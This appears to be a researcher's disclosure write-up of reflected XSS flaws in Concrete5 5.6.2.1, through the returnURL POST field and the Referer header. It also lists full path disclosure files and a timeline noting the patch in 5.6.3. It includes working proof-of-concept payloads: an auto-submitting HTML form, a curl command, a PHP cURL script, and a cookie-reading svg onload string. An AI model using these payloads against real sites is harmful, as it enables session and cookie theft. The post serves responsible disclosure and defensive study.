Concrete 5.6.2.1 Multiple XSS

While I was playing around with Concrete 5.6.2.1 CMS, I wanted to know how this application shows us a hyperlink to the “Back” button. I found something interesting in the “download_file.php” file.


\concrete\single_pages\download_file.php

line 27

[code language=”php” highlight=”5″]
<form action="<?php echo View::url(‘/download_file’, ‘submit_password’, $fID) ?>" method="post">
<?php if(isset($force)) { ?>
<input type="hidden" value="<?php echo $force ?>" name="force" />
<?php } ?>
<input type="hidden" value="<?php echo $returnURL ?>" name="returnURL" />
<input type="hidden" value="<?php echo $rcID ?>" name="rcID"/>
<label for="password"><?php echo t(‘Password’)?>: <input type="password" name="password" /></label>
<br /><br />
<button type="submit"><?php echo t(‘Download’)?></button>
</form>
[/code]

Let’s have a look at the “$returnURL” variable.

\concrete\single_pages\download_file.php

line 9

[code language=”php” highlight=”9″]
<?php

defined(‘C5_EXECUTE’) or die("Access Denied.");

// File ID = $fID
// get the file and
// Find out where to take the user once they’re done.
// We check for a posted value, to see if this is the users first page load or after submitting a password, etc.
$returnURL = ($_POST[‘returnURL’]) ? $_POST[‘returnURL’] : $_SERVER[‘HTTP_REFERER’];

?>
[/code]
 

POST XSS

It seems like none of the conditions in the ternary operator seems to be sanitizing input. The ‘returnURL’ is a POST parameter and if it is not supplied then the application takes the value from the Referer header. It’s obvious that a normal user cannot manually inject, we have to automate the attack. For the ‘returnURL’ this is my proof of concept:
[code language=”html”]
<html>
<body>
<form name="exploit" action="http://localhost/index.php/download_file" method="POST">
<input type="hidden" name="returnURL"
value="&quot;&gt;&lt;svg/onload=confirm(&apos;Hello&apos;)&gt;" />
<script>document.exploit.submit(); </script>
</form>
</body>
</html>
[/code]

View post on imgur.com


 

Referer XSS

If the POST request fails the application fetches whatever is on the Referer header without any sanitization. You can referrer more information about the Refer header on the RFC 1945 document.

View post on imgur.com

Using cURL we can inject to the referrer header. For example like this:

curl -i -s -k -X 'GET' \
-H 'User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0' -H 'Referer: "><svg/onload=alert(0) > \
-b 'CONCRETE5=9i7h9ikeaj6au8f9mgqn3l5gp2; __utma=111872281.2065057763.1392767406.1392767406.1394183386.2; __utmz=111872281.1392767406.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)' \
'http://localhost/conc/concrete5.6.2.1/index.php/download_file'

View post on imgur.com

I’ve made a proof of concept using PHP. For more info about the client URL library visit here http://php.net/manual/en/book.curl.php
[code language=”php”]
<?php

echo geturl(‘http://localhost/conc/concrete5.6.2.1/index.php/download_file’, ‘"><script>prompt("XSS")</script>’);

function geturl($url, $referer) {

$headers[] = ‘Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg,text/html,application/xhtml+xml’;
$headers[] = ‘Connection: Keep-Alive’;
$headers[] = ‘Content-type: application/x-www-form-urlencoded;charset=UTF-8’;
$useragent = ‘Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)’;
$process = curl_init($url);
curl_setopt($process, CURLOPT_HTTPHEADER, $headers);
curl_setopt($process, CURLOPT_HEADER, 0);
curl_setopt($process, CURLOPT_USERAGENT, $useragent);
curl_setopt($process, CURLOPT_REFERER, $referer);
curl_setopt($process, CURLOPT_TIMEOUT, 30);
curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1);

$return = curl_exec($process);
curl_close($process);

return $return;
}

?>
[/code]

View post on imgur.com

We can also inject into the referer header like this. But works only with IExplorer since other web browsers encode the parameters passed to the URL.
[code language=”html”]
<html>
<body>
<form id="exploit" name="exploit" method="GET"
action="http://localhost/conc/concrete5.6.2.1/index.php/download_file">
</form>
<script>
document.getElementById("exploit").submit();
</script>
</body>
</html>
[/code]

Save it as “xss.htm” and pass the payload like this so that this would be taken as the referer.
http://localhost/xss.htm?"><svg/onload=alert(document.cookie) >//

View post on imgur.com


 

Full Path Disclosures

These are few FPD’s I’ve found in the application.

concrete/single_pages/dashboard/system/basics/editor.php
concrete/single_pages/dashboard/system/view.php
concrete/single_pages/dashboard/system/environment/file_storage_locations.php
concrete/single_pages/dashboard/system/mail/importers.php
concrete/single_pages/dashboard/system/mail/method.php
concrete/single_pages/dashboard/system/permissions/file_types.php
concrete/single_pages/dashboard/system/permissions/files.php
concrete/single_pages/dashboard/system/permissions/tasks.php
concrete/single_pages/dashboard/system/permissions/users.php
concrete/single_pages/dashboard/system/seo/view.php
concrete/single_pages/dashboard/view.php
concrete/single_pages/dashboard/users/attributes.php
concrete/single_pages/dashboard/scrapbook/view.php
concrete/single_pages/dashboard/pages/attributes.php
concrete/single_pages/dashboard/files/attributes.php
concrete/single_pages/dashboard/files/search.php

Demo Video

This is short video demonstrating the above vulnerabilities.

Disclosure Time Line

 
2014-03-16: Responsibly disclosed to the vendor (Vendor’s website too was affected)
– Patched in 5.6.3 and the latest versions
– https://www.concrete5.org/documentation/background/version_history/5-6-3-release-notes/

https://osandamalith.com/wp-content/uploads/2014/03/hof3.png

7 thoughts on “Concrete 5.6.2.1 Multiple XSS

Leave a Reply to Richard Clifford (@DarkMantisCS)Cancel reply